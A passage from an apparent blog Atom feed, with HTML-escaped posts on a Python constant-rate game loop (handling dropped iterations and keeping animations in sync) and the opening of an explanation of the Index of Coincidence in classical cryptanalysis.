&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, how many iterations we lost or skipped:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    &lt;span class="n"&gt;lost&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;behind&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;rest&lt;/span&gt;

    &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lost&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# floor division&lt;/span&gt;
    &lt;span class="n"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;lost&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;lost&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is crucial otherwise &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will be always behind like if the following &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; calls were always too slow.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
The iteration 1 took too long and the iteration 2 was lost. &lt;br /&gt; Note how the begin of the iteration 3 starts at the begin of a new slot.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/game/constant-rate-loop/rest-drop.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Full code in &lt;a href="/assets/game/constant-rate-loop/constant_rate.py"&gt;&lt;i class="fab fa-github"&gt;&lt;/i&gt; github&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="if-behind-keep-working"&gt;If behind, keep working&lt;/h3&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;constant_rate_loop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;t2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;rest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;t1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;rest&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;behind&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rest&lt;/span&gt;  &lt;span class="c1"&gt;# this is always positive&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;lost&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;behind&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;behind&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;lost&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lost&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# floor division&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Like in &lt;em&gt;drop &amp;amp; rest&lt;/em&gt;, the happy path is the same: if we finish an iteration before the deadline we take some rest until the next iteration.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/game/constant-rate-loop/rest-nodrop.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9nYW1lL2NvbnN0YW50LXJhdGUtbG9vcC9ub3Jlc3Qtbm9sb3N0LnBuZycgLz4KSXRlcmF0aW9uIDIgaXMgbm90IGRyb3BwZWQgYW5kIGJlZ2lucyBhcyBzb29uIGFzIHBvc3NpYmxlLgo8YnIgLz4KQ29udHJhc3QgdGhpcyB3aXRoIHRoZSAqZHJvcCAmIHJlc3QqIHN0cmF0ZWd5OgoKbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9nYW1lL2NvbnN0YW50LXJhdGUtbG9vcC9ub3Jlc3Qtbm9sb3N0LnBuZycgLz4KSXRlcmF0aW9uIDIgaXMgbm90IGRyb3BwZWQgYW5kIGJlZ2lucyBhcyBzb29uIGFzIHBvc3NpYmxlLgo8YnIgLz4KQ29udHJhc3QgdGhpcyB3aXRoIHRoZSAqZHJvcCAmIHJlc3QqIHN0cmF0ZWd5OgoKbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/game/constant-rate-loop/norest-nolost.png' /&gt;
Iteration 2 is not dropped and begins as soon as possible. &lt;br /&gt; Contrast this with the &lt;em&gt;drop &amp;amp; rest&lt;/em&gt; strategy:
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9nYW1lL2NvbnN0YW50LXJhdGUtbG9vcC9yZXN0LWRyb3AucG5nJyAvPm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9nYW1lL2NvbnN0YW50LXJhdGUtbG9vcC9yZXN0LWRyb3AucG5nJyAvPm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/game/constant-rate-loop/rest-drop.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;But if we are behind schedule we do something different: the last partially consumed iteration is not considered lost.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    &lt;span class="n"&gt;lost&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;behind&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;behind&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;While &lt;em&gt;drop &amp;amp; rest&lt;/em&gt; consideres an iteration lost if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; cannot be called at the begin of the iteration, &lt;em&gt;no rest-keep working&lt;/em&gt; consideres an iteration lost if it was totally consumed without calling &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If there is room to call it even if it is not at the begin of the iteration, &lt;em&gt;no rest-keep working&lt;/em&gt; will call it immediately – it will not rest, it will keep working.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is called in the iteration 2 as soon as the previous finishes. &lt;br /&gt; No rest is taken, trying to &lt;em&gt;catch up&lt;/em&gt; as soon as possible without loosing any frame even if that means call &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in the middle of an iteration.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/game/constant-rate-loop/norest-nolost.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;No rest-keep working&lt;/em&gt; is suitable for situations where we want to minimize the drops; &lt;em&gt;drop &amp;amp; rest&lt;/em&gt; is better when we want to call &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; at specific times even if we have to drop an iteration.&lt;/p&gt;
&lt;p&gt;Of course, if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; spans 2 or more iterations, &lt;em&gt;no rest-keep working&lt;/em&gt; will be forced to drop the iterations in the middle.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; took more than 2 iterations to complete so the iteration 2 is considered lost.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/game/constant-rate-loop/norest-lost.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="synchronization-on-drops"&gt;Synchronization on Drops&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; may need to know when it is not being called as expected, when some iterations are being dropped.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9nYW1lL2NvbnN0YW50LXJhdGUtbG9vcC9iaXRlLmdpZicgLz4KU2FtZSBhbmltYXRpb24gdGhhdCBsYXN0IDEgc2Vjb25kIGluIGEgbG9vcC4gRnJvbSB0b3AgdG8gZG93biwgdGhlIGZpcnN0CmlzIGFuIGFuaW1hdGlvbiB3aXRob3V0IGFueSBmcmFtZSBsb3N0LCB0aGUgc2Vjb25kIGhhZCBsb3N0IHNvbWUgZnJhbWVzCmJ1dCBgYGRyYXcoKWBgIGlzIHN0aWxsIGluIHN5bmMsIHRoZSBsYXN0IG9uZSBsb3N0IHRoZSBzYW1lIGFtb3VudApvZiBmcmFtZXMgYnV0IGBgZHJhdygpYGAgdXNlZCBpdHMgb3duIG5vdGlvbiBvZiB0aW1lIGFuIGdvdCBvdXQgb2Ygc3luYy4KIFs8aSBjbGFzcz0iZmFiIGZhLWdpdGh1YiI+PC9pPiBjb2RlXSgvYXNzZXRzL2dhbWUvY29uc3RhbnQtcmF0ZS1sb29wL2Ryb3BfaXRlcmF0aW9ucy5weSkKbWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9nYW1lL2NvbnN0YW50LXJhdGUtbG9vcC9iaXRlLmdpZicgLz4KU2FtZSBhbmltYXRpb24gdGhhdCBsYXN0IDEgc2Vjb25kIGluIGEgbG9vcC4gRnJvbSB0b3AgdG8gZG93biwgdGhlIGZpcnN0CmlzIGFuIGFuaW1hdGlvbiB3aXRob3V0IGFueSBmcmFtZSBsb3N0LCB0aGUgc2Vjb25kIGhhZCBsb3N0IHNvbWUgZnJhbWVzCmJ1dCBgYGRyYXcoKWBgIGlzIHN0aWxsIGluIHN5bmMsIHRoZSBsYXN0IG9uZSBsb3N0IHRoZSBzYW1lIGFtb3VudApvZiBmcmFtZXMgYnV0IGBgZHJhdygpYGAgdXNlZCBpdHMgb3duIG5vdGlvbiBvZiB0aW1lIGFuIGdvdCBvdXQgb2Ygc3luYy4KIFs8aSBjbGFzcz0iZmFiIGZhLWdpdGh1YiI+PC9pPiBjb2RlXSgvYXNzZXRzL2dhbWUvY29uc3RhbnQtcmF0ZS1sb29wL2Ryb3BfaXRlcmF0aW9ucy5weSkKbWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/game/constant-rate-loop/bite.gif' /&gt;
Same animation that last 1 second in a loop. From top to down, the first is an animation without any frame lost, the second had lost some frames but &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is still in sync, the last one lost the same amount of frames but &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; used its own notion of time an got out of sync. &lt;a href="/assets/game/constant-rate-loop/drop_iterations.py"&gt;&lt;i class="fab fa-github"&gt;&lt;/i&gt; code&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is too slow, the loop will drop some iterations as shown.&lt;/p&gt;
&lt;p&gt;But &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will never notice this and instead of &lt;em&gt;skipping&lt;/em&gt; some frames it will render the &lt;em&gt;next&lt;/em&gt; frame &lt;em&gt;accordingly to him&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The animation will appear smooth to the user but behind the scene the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will be out of sync: the animation will take more time to complete or it will be cut in the middle.&lt;/p&gt;
&lt;p&gt;&lt;label for='CldlIGNvdWxkIHBhc3MgYWxzbyBob3cgbWFueSBpdGVyYXRpb24gaGFkIGhhcHBlbiBzaW5jZSB0aGUgbGFzdCB0aW1lLApzb21ldGhpbmcgbGlrZSBgZnVuYyhpdCwgaXQtbGFzdF9pdClgLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldlIGNvdWxkIHBhc3MgYWxzbyBob3cgbWFueSBpdGVyYXRpb24gaGFkIGhhcHBlbiBzaW5jZSB0aGUgbGFzdCB0aW1lLApzb21ldGhpbmcgbGlrZSBgZnVuYyhpdCwgaXQtbGFzdF9pdClgLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
We could pass also how many iteration had happen since the last time, something like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;last_it&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Instead, we can pass to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; the iteration number explicitly.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; must be updated accordingly:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frames&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;frames&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;      &lt;span class="c1"&gt;# pick what correspond to &amp;quot;this&amp;quot; iteration&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In a normal situation, this is always an sequential number but if iterations are being dropped, there will be &lt;em&gt;shifts&lt;/em&gt; in the count and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will skip some frames but it will remain in sync.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
The first row shows all the frames that forms the animation. The other two are the frames plotted by a &lt;em&gt;slow&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with some frames dropped. But the first &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (second row) kept in sync while the other did not. &lt;a href="/assets/game/constant-rate-loop/drop_iterations.py"&gt;&lt;i class="fab fa-github"&gt;&lt;/i&gt; code&lt;/a&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/game/constant-rate-loop/bite_frames.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="known-uses"&gt;Known Uses&lt;/h2&gt;
&lt;p&gt;Game and rendering loops.&lt;/p&gt;
&lt;h2 id="also-known-as"&gt;Also Known as&lt;/h2&gt;
&lt;p&gt;Frame-rate limiting.&lt;/p&gt;
&lt;h3 id="attributions"&gt;Attributions&lt;/h3&gt;
&lt;p&gt;The &lt;em&gt;werewolf&lt;/em&gt; images were made by &lt;a href="https://opengameart.org/users/mindchamber"&gt;MindChamber&lt;/a&gt;, licensed CC-BY 3.0, from &lt;a href="https://opengameart.org/content/dark-saber-werewolf"&gt;OpenGameArt&lt;/a&gt;&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/10/23/Constant-Rate-Loop.html" rel="alternate" type="text/html" title="Constant Rate Loop"/>
    <category term="algorithm" label="algorithm"/>
    <category term="game" label="game"/>
    <category term="clocks" label="clocks"/>
    <category term="frame rating" label="frame rating"/>
    <published>2019-10-23T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/10/04/Index-of-Coincidence.html</id>
    <title>Index of Coincidence Explained</title>
    <updated>2019-10-04T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;The concept of Index of Coincidence was introduced by William Friedman in 1922-1923 in the paper titled “The Index of Coincidence and its Applications in Cryptoanalysis” [&lt;a href="/assets/crypto/index-of-coincidence/biblio/index_of_coincidence_1923.pdf"&gt;1&lt;/a&gt;].&lt;/p&gt;
&lt;p&gt;The Navy Department (US) worked in the following years on this topic coming, in 1955, with a paper titled “The Index of Coincidence” by Howard Campaigne [&lt;a href="/assets/crypto/index-of-coincidence/biblio/index_of_coincidence_1955.pdf"&gt;2&lt;/a&gt;].&lt;/p&gt;
&lt;p&gt;However I found some confusing and misleading concepts in the &lt;em&gt;modern&lt;/em&gt; literature.&lt;/p&gt;
&lt;p&gt;This post is a summary of what I could understand from Howard’s work.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="count-coincidences"&gt;Count Coincidences&lt;/h2&gt;
&lt;p&gt;How similar are two strings?&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8vaW5kZXgtb2YtY29pbmNpZGVuY2UvYWxpZ24xLnBuZycgLz4KVHdvIHN0cmluZ3MgYWxpZ25lZCBoYXZlIDYgY29pbmNpZGVuY2VzLgptYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8vaW5kZXgtb2YtY29pbmNpZGVuY2UvYWxpZ24xLnBuZycgLz4KVHdvIHN0cmluZ3MgYWxpZ25lZCBoYXZlIDYgY29pbmNpZGVuY2VzLgptYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/crypto/index-of-coincidence/align1.png' /&gt;
Two strings aligned have 6 coincidences.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Put the two strings one below the other, perfectly aligned. Now, column by column, count how many times the same letter appear in the same column.&lt;/p&gt;
&lt;p&gt;Two strings that have substrings in common and &lt;em&gt;aligned&lt;/em&gt; have a lot of coincidences.&lt;/p&gt;
&lt;p&gt;We will call this Aligned Count of Coincidences or \(AC(s_1,s_2)\).&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8vaW5kZXgtb2YtY29pbmNpZGVuY2UvYWxpZ24yLnBuZycgLz4KVHdvIHN0cmluZ3MsIHRoZSBzZWNvbmQgc2hpZnRlZCA0IHBvc2l0aW9ucyB0byB0aGUgcmlnaHQsIGhhdmUgMyBjb2luY2lkZW5jZXMuCm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8vaW5kZXgtb2YtY29pbmNpZGVuY2UvYWxpZ24yLnBuZycgLz4KVHdvIHN0cmluZ3MsIHRoZSBzZWNvbmQgc2hpZnRlZCA0IHBvc2l0aW9ucyB0byB0aGUgcmlnaHQsIGhhdmUgMyBjb2luY2lkZW5jZXMuCm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/crypto/index-of-coincidence/align2.png' /&gt;
Two strings, the second shifted 4 positions to the right, have 3 coincidences.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;But if the substrings are not &lt;em&gt;aligned&lt;/em&gt; we may think, incorrectly, that two strings does not have nothing in common.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8vaW5kZXgtb2YtY29pbmNpZGVuY2UvYWxpZ24zLnBuZycgLz4KVHdvIHN0cmluZ3MsIHRoZSBzZWNvbmQgc2hpZnRlZCA2IHBvc2l0aW9ucyB0byB0aGUgbGVmdCwgaGF2ZSAzIGNvaW5jaWRlbmNlcyB0b28uCm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9jcnlwdG8vaW5kZXgtb2YtY29pbmNpZGVuY2UvYWxpZ24zLnBuZycgLz4KVHdvIHN0cmluZ3MsIHRoZSBzZWNvbmQgc2hpZnRlZCA2IHBvc2l0aW9ucyB0byB0aGUgbGVmdCwgaGF2ZSAzIGNvaW5jaWRlbmNlcyB0b28uCm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/crypto/index-of-coincidence/align3.png' /&gt;
Two strings, the second shifted 6 positions to the left, have 3 coincidences too.
&lt;/span&gt;&lt;/p&gt;
